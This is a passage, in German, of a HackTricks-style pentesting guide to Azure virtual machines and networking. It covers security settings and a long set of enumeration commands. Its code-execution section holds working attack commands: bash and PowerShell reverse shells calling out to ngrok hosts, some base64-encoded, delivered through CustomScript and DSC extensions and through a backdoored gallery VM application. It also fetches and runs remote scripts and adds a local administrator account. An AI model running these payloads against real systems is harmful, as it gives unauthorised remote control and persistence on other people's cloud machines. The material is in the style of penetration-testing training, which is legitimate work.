# Az - Virtuelle Maschinen & Netzwerk {{#include ../../../../banners/hacktricks-training.md}} ## Azure Netzwerk Grundinformationen Azure-Netzwerke enthalten **verschiedene Entitäten und Möglichkeiten, sie zu konfigurieren.** Sie finden eine kurze **Beschreibung,** **Beispiele** und **Aufzählungs**befehle der verschiedenen Azure-Netzwerkinhalte in: {{#ref}} az-azure-network.md {{#endref}} ## Grundinformationen zu VMs Azure Virtuelle Maschinen (VMs) sind flexible, bedarfsorientierte **cloudbasierte Server, die es Ihnen ermöglichen, Windows- oder Linux-Betriebssysteme auszuführen**. Sie ermöglichen es Ihnen, Anwendungen und Workloads bereitzustellen, ohne physische Hardware verwalten zu müssen. Azure VMs können mit verschiedenen CPU-, Speicher- und Speicheroptionen konfiguriert werden, um spezifische Anforderungen zu erfüllen und sich in Azure-Dienste wie virtuelle Netzwerke, Speicher und Sicherheitswerkzeuge zu integrieren. ### Sicherheitskonfigurationen - **Verfügbarkeitszonen**: Verfügbarkeitszonen sind verschiedene Gruppen von Rechenzentren innerhalb einer bestimmten Azure-Region, die physisch getrennt sind, um das Risiko zu minimieren, dass mehrere Zonen von lokalen Ausfällen oder Katastrophen betroffen sind. - **Sicherheitstyp**: - **Standard-Sicherheit**: Dies ist der Standard-Sicherheitstyp, der keine spezifische Konfiguration erfordert. - **Vertrauenswürdiger Start**: Dieser Sicherheitstyp verbessert den Schutz gegen Bootkits und Malware auf Kernel-Ebene durch die Verwendung von Secure Boot und Virtual Trusted Platform Module (vTPM). - **Vertrauliche VMs**: Neben einem vertrauenswürdigen Start bietet es hardwarebasierte Isolation zwischen der VM, dem Hypervisor und der Hostverwaltung, verbessert die Festplattenverschlüsselung und [**mehr**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Authentifizierung**: Standardmäßig wird ein neuer **SSH-Schlüssel generiert**, obwohl es möglich ist, einen öffentlichen Schlüssel oder einen vorherigen Schlüssel zu verwenden, und der Standardbenutzername ist **azureuser**. Es ist auch möglich, die Verwendung eines **Passworts** zu konfigurieren. - **VM-Festplattenverschlüsselung:** Die Festplatte wird standardmäßig im Ruhezustand mit einem plattformverwalteten Schlüssel verschlüsselt. - Es ist auch möglich, **Verschlüsselung am Host** zu aktivieren, bei der die Daten im Host verschlüsselt werden, bevor sie an den Speicherdienst gesendet werden, um eine End-to-End-Verschlüsselung zwischen dem Host und dem Speicherdienst sicherzustellen ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC-Netzwerksicherheitsgruppe**: - **Keine**: Öffnet im Grunde jeden Port - **Basis**: Ermöglicht das einfache Öffnen der eingehenden Ports HTTP (80), HTTPS (443), SSH (22), RDP (3389) - **Erweitert**: Wählen Sie eine Sicherheitsgruppe aus - **Backup**: Es ist möglich, **Standard**-Backup (einmal täglich) und **Erweitert** (mehrmals täglich) zu aktivieren - **Patch-Orchestrierungsoptionen**: Dies ermöglicht es, automatisch Patches in den VMs gemäß der ausgewählten Richtlinie anzuwenden, wie in den [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) beschrieben. - **Benachrichtigungen**: Es ist möglich, automatisch Benachrichtigungen per E-Mail oder mobile App zu erhalten, wenn etwas in der VM passiert. Standardregeln: - Prozentsatz CPU ist größer als 80% - Verfügbare Speicherbytes sind weniger als 1 GB - Datenfestplatten-IOPS-Verbrauchsprozentsatz ist größer als 95% - OS-IOPS-Verbrauchsprozentsatz ist größer als 95% - Netzwerk insgesamt ist größer als 500 GB - Netzwerk aus insgesamt ist größer als 200 GB - VmAvailabilityMetric ist weniger als 1 - **Gesundheitsmonitor**: Standardmäßig wird das Protokoll HTTP an Port 80 überprüft - **Sperren**: Es ermöglicht, eine VM zu sperren, sodass sie nur gelesen werden kann (**ReadOnly**-Sperre) oder sie kann gelesen und aktualisiert, aber nicht gelöscht werden (**CanNotDelete**-Sperre). - Die meisten VM-bezogenen Ressourcen **unterstützen ebenfalls Sperren** wie Festplatten, Snapshots... - Sperren können auch auf **Ressourcengruppen- und Abonnementebene** angewendet werden. ## Festplatten & Snapshots - Es ist möglich, **eine Festplatte an 2 oder mehr VMs anzuhängen** - Standardmäßig ist jede Festplatte **verschlüsselt** mit einem Plattformschlüssel. - Gleiches gilt für Snapshots - Standardmäßig ist es möglich, **die Festplatte aus allen Netzwerken zu teilen**, aber sie kann auch auf bestimmte **private Zugriffe** oder auf **vollständige Deaktivierung** des öffentlichen und privaten Zugriffs **beschränkt** werden. - Gleiches gilt für Snapshots - Es ist möglich, eine **SAS-URI** (maximal 60 Tage) zu **generieren, um die Festplatte zu exportieren**, die so konfiguriert werden kann, dass sie eine Authentifizierung erfordert oder nicht - Gleiches gilt für Snapshots {{#tabs}} {{#tab name="az cli"}} ```bash # List all disks az disk list --output table # Get info about a disk az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} ```powershell # List all disks Get-AzDisk # Get info about a disk Get-AzDisk -Name -ResourceGroupName ``` {{#endtab}} {{#endtabs}} ## Bilder, Galerie-Bilder & Wiederherstellungspunkte Ein **VM-Image** ist eine Vorlage, die das Betriebssystem, die Anwendungseinstellungen und das Dateisystem enthält, die benötigt werden, um eine **neue virtuelle Maschine (VM)** zu erstellen. Der Unterschied zwischen einem Image und einem Festplattensnapshot besteht darin, dass ein Festplattensnapshot eine schreibgeschützte, zeitpunktbezogene Kopie einer einzelnen verwalteten Festplatte ist, die hauptsächlich für Backup oder Fehlersuche verwendet wird, während ein Image **mehrere Festplatten enthalten kann und als Vorlage für die Erstellung neuer VMs dient**.\ Bilder können im **Bilder-Bereich** von Azure oder in **Azure-Compute-Galerien** verwaltet werden, die es ermöglichen, **Versionen** zu erstellen und das Image tenantübergreifend zu **teilen** oder sogar öffentlich zu machen. Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungs-konsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu einem bestimmten Zeitpunkt zurückzusetzen. {{#tabs}} {{#tab name="az cli"}} ```bash # Shared Image Galleries | Compute Galleries ## List all galleries and get info about one az sig list --output table az sig show --gallery-name --resource-group ## List all community galleries az sig list-community --output table ## List galleries shaerd with me az sig list-shared --location --output table ## List all image definitions in a gallery and get info about one az sig image-definition list --gallery-name --resource-group --output table az sig image-definition show --gallery-image-definition --gallery-name --resource-group ## List all the versions of an image definition in a gallery az sig image-version list --gallery-image-name --gallery-name --resource-group --resource-group --output table # Images # List all managed images in your subscription az image list --output table # Restore points ## List all restore points and get info about 1 az restore-point collection list-all --output table az restore-point collection show --collection-name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} ```powershell ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName ## List all image definitions in a gallery and get info about one Get-AzGalleryImageDefinition -GalleryName -ResourceGroupName Get-AzGalleryImageDefinition -GalleryName -ResourceGroupName -Name ## List all the versions of an image definition in a gallery Get-AzGalleryImageVersion -GalleryImageDefinitionName -GalleryName -ResourceGroupName ## List all VM applications inside a gallery Get-AzGalleryApplication -GalleryName -ResourceGroupName # Images # List all managed images in your subscription Get-AzImage -Name -ResourceGroupName # Restore points ## List all restore points and get info about 1 Get-AzRestorePointCollection -Name -ResourceGroupName ``` {{#endtab}} {{#endtabs}} ## Azure Site Recovery Aus den [**Docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery hilft, die Geschäftskontinuität sicherzustellen, indem Geschäftsanwendungen und Workloads während Ausfällen am Laufen gehalten werden. Site Recovery **repliziert Workloads**, die auf physischen und virtuellen Maschinen (VMs) laufen, von einem primären Standort zu einem sekundären Standort. Wenn ein Ausfall an Ihrem primären Standort auftritt, wechseln Sie zu einem sekundären Standort und greifen von dort auf die Anwendungen zu. Nachdem der primäre Standort wieder läuft, können Sie zu ihm zurückwechseln. ## Azure Bastion Azure Bastion ermöglicht sicheren und nahtlosen **Remote Desktop Protocol (RDP)** und **Secure Shell (SSH)** Zugriff auf Ihre virtuellen Maschinen (VMs) direkt über das Azure-Portal oder über einen Jump-Box. Durch **die Eliminierung der Notwendigkeit für öffentliche IP-Adressen** auf Ihren VMs. Der Bastion implementiert ein Subnetz namens **`AzureBastionSubnet`** mit einer `/26` Netzmaske im VNet, in dem er arbeiten muss. Dann ermöglicht es, **eine Verbindung zu internen VMs über den Browser** unter Verwendung von `RDP` und `SSH`, wodurch Ports der VMs nicht dem Internet ausgesetzt werden. Es kann auch als **Jump-Host** fungieren. Um alle Azure Bastion Hosts in Ihrem Abonnement aufzulisten und über sie eine Verbindung zu VMs herzustellen, können Sie die folgenden Befehle verwenden: {{#tabs}} {{#tab name="az cli"}} ```bash # List bastions az network bastion list -o table # Connect via SSH through bastion az network bastion ssh \ --name MyBastion \ --resource-group MyResourceGroup \ --target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \ --auth-type ssh-key \ --username azureuser \ --ssh-key ~/.ssh/id_rsa # Connect via RDP through bastion az network bastion rdp \ --name \ --resource-group \ --target-resource-id /subscriptions//resourceGroups//providers/Microsoft.Compute/virtualMachines/ \ --auth-type password \ --username \ --password ``` {{#endtab}} {{#tab name="PowerShell"}} ```powershell # List bastions Get-AzBastion ``` {{#endtab}} {{#endtabs}} ## Metadaten Der Azure Instance Metadata Service (IMDS) **stellt Informationen über laufende virtuelle Maschineninstanzen bereit**, um deren Verwaltung und Konfiguration zu unterstützen. Er bietet Details wie SKU, Speicher, Netzwerkkonfigurationen und Informationen über bevorstehende Wartereignisse über **REST API, die unter der nicht routbaren IP-Adresse 169.254.169.254** verfügbar ist, die nur von innerhalb der VM zugänglich ist. Die Kommunikation zwischen der VM und IMDS bleibt innerhalb des Hosts, was einen sicheren Zugriff gewährleistet. Bei der Abfrage von IMDS sollten HTTP-Clients innerhalb der VM Web-Proxy-Server umgehen, um eine ordnungsgemäße Kommunikation sicherzustellen. Darüber hinaus muss die HTTP-Anfrage, um den Metadatenendpunkt zu kontaktieren, den Header **`Metadata: true`** enthalten und darf nicht den Header **`X-Forwarded-For`** haben. Überprüfen Sie, wie Sie es auflisten können in: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm {{#endref}} ## VM-Auflistung ```bash # VMs ## List all VMs and get info about one az vm list --output table az vm show --name --resource-group ## List all available VM images and get info about one az vm image list --all --output table # VM Extensions ## List all VM extensions az vm extension image list --output table ## Get extensions by publisher az vm extension image list --publisher "Site24x7" --output table ## List extensions in a VM az vm extension list -g --vm-name ## List managed identities in a VM az vm identity show \ --resource-group \ --name # Disks ## List all disks and get info about one az disk list --output table az disk show --name --resource-group # Snapshots ## List all galleries abd get info about one az sig list --output table az sig show --gallery-name --resource-group ## List all snapshots and get info about one az snapshot list --output table az snapshot show --name --resource-group # Shared Image Galleries | Compute Galleries ## List all galleries and get info about one az sig list --output table az sig show --gallery-name --resource-group ## List all community galleries az sig list-community --output table ## List galleries shared with me az sig list-shared --location --output table ## List all image definitions in a gallery and get info about one az sig image-definition list --gallery-name --resource-group --output table az sig image-definition show --gallery-image-definition --gallery-name --resource-group ## List all the versions of an image definition in a gallery az sig image-version list --gallery-image-name --gallery-name --resource-group --resource-group --output table # Images # List all managed images in your subscription az image list --output table # Restore points ## List all restore points and get info about 1 az restore-point collection list-all --output table az restore-point collection show --collection-name --resource-group # Bastion ## list all bastions az network bastion list -o table # Network ## List VNets az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" ## List subnets of a VNet az network vnet subnet list --resource-group --vnet-name --query "[].{name:name, addressPrefix:addressPrefix}" -o table ## List public IPs az network public-ip list --output table ## Get NSG rules az network nsg rule list --nsg-name --resource-group --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table ## Get NICs and subnets using this NSG az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}" ## List all Nics & get info of a single one az network nic list --output table az network nic show --name --resource-group ## List Azure Firewalls az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table ## Get network rules of a firewall az network firewall network-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table ## Get application rules of a firewall az network firewall application-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table ## Get nat rules of a firewall az network firewall nat-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table ## List Route Tables az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table ## List routes for a table az network route-table route list --route-table-name --resource-group --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table # Misc ## List all virtual machine scale sets az vmss list --output table ## List all availability sets az vm availability-set list --output table ## List all load balancers az network lb list --output table ## List all storage accounts az storage account list --output table ## List all custom script extensions on a specific VM az vm extension list --vm-name --resource-group # Show boot diagnostics settings for a specific VM az vm boot-diagnostics get-boot-log --name --resource-group ## List all tags on virtual machines az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table # List all available run commands for virtual machines az vm run-command list --output table ``` ```powershell # Get readable VMs Get-AzVM | fl # Lis running VMs Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name Get-AzVM -Name -ResourceGroupName | fl * Get-AzVM -Name -ResourceGroupName | select -ExpandProperty NetworkProfile # Get iface and IP address Get-AzNetworkInterface -Name Get-AzPublicIpAddress -Name #Get installed extensions Get-AzVMExtension -ResourceGroupName -VMName Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM Get-AzNetworkInterface -Name # Get info of network connector (like IP) # Disks ## List all disks and get info about one Get-AzDisk Get-AzDisk -Name -ResourceGroupName # Snapshots ## List all galleries abd get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName ## List all snapshots and get info about one Get-AzSnapshot Get-AzSnapshot -Name -ResourceGroupName ## List all image definitions in a gallery and get info about one Get-AzGalleryImageDefinition -GalleryName -ResourceGroupName Get-AzGalleryImageDefinition -GalleryName -ResourceGroupName -Name ## List all the versions of an image definition in a gallery Get-AzGalleryImageVersion -GalleryImageDefinitionName -GalleryName -ResourceGroupName ## List all VM applications inside a gallery Get-AzGalleryApplication -GalleryName -ResourceGroupName # Images # List all managed images in your subscription Get-AzImage -Name -ResourceGroupName # Restore points ## List all restore points and get info about 1 Get-AzRestorePointCollection -Name -ResourceGroupName # Bastion ## List bastions Get-AzBastion # Network ## List all VNets in your subscription Get-AzVirtualNetwork ## List VNet peering connections for a given VNet (Get-AzVirtualNetwork -ResourceGroupName -Name ).VirtualNetworkPeerings ## List Shared Resources (e.g., Azure Firewall) in the Hub Get-AzFirewall ## List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName ## List VPN Connections Get-AzVirtualNetworkGatewayConnection -ResourceGroupName ## List ExpressRoute Circuits Get-AzExpressRouteCircuit # Misc ## List all virtual machine scale sets Get-AzVmss ## List all availability sets Get-AzAvailabilitySet ## List all load balancers Get-AzLoadBalancer ## List all storage accounts Get-AzStorageAccount ## List all custom script extensions on a specific VM Get-AzVMExtension -VMName -ResourceGroupName ``` ## Codeausführung in VMs ### VM-Erweiterungen Azure VM-Erweiterungen sind kleine Anwendungen, die **Konfiguration nach der Bereitstellung** und Automatisierungsaufgaben auf Azure-virtuellen Maschinen (VMs) bereitstellen. Dies würde es ermöglichen, **beliebigen Code innerhalb von VMs auszuführen**. Die erforderliche Berechtigung ist **`Microsoft.Compute/virtualMachines/extensions/write`**. Es ist möglich, alle verfügbaren Erweiterungen mit aufzulisten: {{#tabs }} {{#tab name="Az Cli" }} ```bash # It takes some mins to run az vm extension image list --output table # Get extensions by publisher az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} ```powershell # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` {{#endtab }} {{#endtabs }} Es ist möglich, **benutzerdefinierte Erweiterungen auszuführen, die benutzerdefinierten Code ausführen**: {{#tabs }} {{#tab name="Linux" }} - Führen Sie eine Reverse-Shell aus ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ --resource-group \ --vm-name \ --name CustomScript \ --publisher Microsoft.Azure.Extensions \ --version 2.1 \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` - Führen Sie ein Skript aus, das im Internet gespeichert ist ```bash az vm extension set \ --resource-group rsc-group> \ --vm-name \ --name CustomScript \ --publisher Microsoft.Azure.Extensions \ --version 2.1 \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` {{#endtab }} {{#tab name="Windows" }} - Führen Sie eine Reverse-Shell aus ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ --resource-group \ --vm-name \ --name CustomScriptExtension \ --publisher Microsoft.Compute \ --version 1.10 \ --settings '{}' \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` - Führen Sie eine Reverse-Shell aus einer Datei aus ```bash az vm extension set \ --resource-group \ --vm-name \ --name CustomScriptExtension \ --publisher Microsoft.Compute \ --version 1.10 \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` Sie könnten auch andere Payloads ausführen wie: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Passwort zurücksetzen mit der VMAccess-Erweiterung ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` {{#endtab }} {{#endtabs }} ### Relevante VM-Erweiterungen Die erforderliche Berechtigung ist weiterhin **`Microsoft.Compute/virtualMachines/extensions/write`**.
VMAccess-Erweiterung Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern in Windows-VMs zu ändern. ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ```
DesiredConfigurationState (DSC) Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **willkürliche Befehle** in Windows-VMs über diese Erweiterung auszuführen: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { Script ReverseShell { GetScript = { @{} } SetScript = { $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length) } $client.Close() } TestScript = { return $false } } } } RevShellConfig -OutputPath .\Output # Upload config to blob $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` -ConfigurationPath .\revShell.ps1 ` -ResourceGroupName $resourceGroup ` -StorageAccountName $storageName ` -Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` -Version '2.76' ` -ResourceGroupName $resourceGroup ` -VMName $vmName ` -ArchiveStorageAccountName $storageName ` -ArchiveBlobName 'revShell.ps1.zip' ` -AutoUpdate ` -ConfigurationName 'RevShellConfig' ```
Hybrid Runbook Worker Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto aus auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-automation-account/).
### VM-Anwendungen Dies sind Pakete mit allen **Anwendungsdaten sowie Installations- und Deinstallationsskripten**, die verwendet werden können, um Anwendungen in VMs einfach hinzuzufügen und zu entfernen. ```bash # List all galleries in resource group az sig list --resource-group --output table # List all apps in a fallery az sig gallery-application list --gallery-name --resource-group --output table ``` Dies sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` Überprüfen Sie, wie man neue Anwendungen installiert in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] > Es ist möglich, **einzelne Apps und Galerien mit anderen Abonnements oder Mandanten zu teilen**. Was sehr interessant ist, da es einem Angreifer ermöglichen könnte, eine Anwendung zu hintertüren und zu anderen Abonnements und Mandanten zu pivotieren. Aber es **gibt keinen "Marktplatz" für VM-Apps**, wie es ihn für Erweiterungen gibt. Die erforderlichen Berechtigungen sind: - `Microsoft.Compute/galleries/applications/write` - `Microsoft.Compute/galleries/applications/versions/write` - `Microsoft.Compute/virtualMachines/write` - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` Beispiel für die Ausnutzung zur Ausführung beliebiger Befehle: {{#tabs }} {{#tab name="Linux" }} ```bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ --gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ --application-name myReverseShellApp \ --gallery-name myGallery \ --resource-group \ --os-type Linux \ --location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ --version-name 1.0.2 \ --application-name myReverseShellApp \ --gallery-name myGallery \ --location "West US 2" \ --resource-group \ --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ --resource-group \ --name \ --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ --treat-deployment-as-failure true ``` {{#endtab }} {{#tab name="Windows" }} ```bash # Create gallery (if the isn't any) az sig create --resource-group \ --gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ --application-name myReverseShellAppWin \ --gallery-name myGallery \ --resource-group \ --os-type Windows \ --location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHI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0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ --version-name 1.0.0 \ --application-name myReverseShellAppWin \ --gallery-name myGallery \ --location "West US 2" \ --resource-group \ --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ --install-command "powershell.exe -EncodedCommand $encodedCommand" \ --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ --update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ --resource-group \ --name deleteme-win4 \ --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ --treat-deployment-as-failure true ``` {{#endtab }} {{#endtabs }} ### Benutzerdaten Dies sind **persistente Daten**, die jederzeit über den Metadaten-Endpunkt abgerufen werden können. Beachten Sie, dass in Azure Benutzerdaten sich von AWS und GCP unterscheiden, da **wenn Sie hier ein Skript platzieren, es 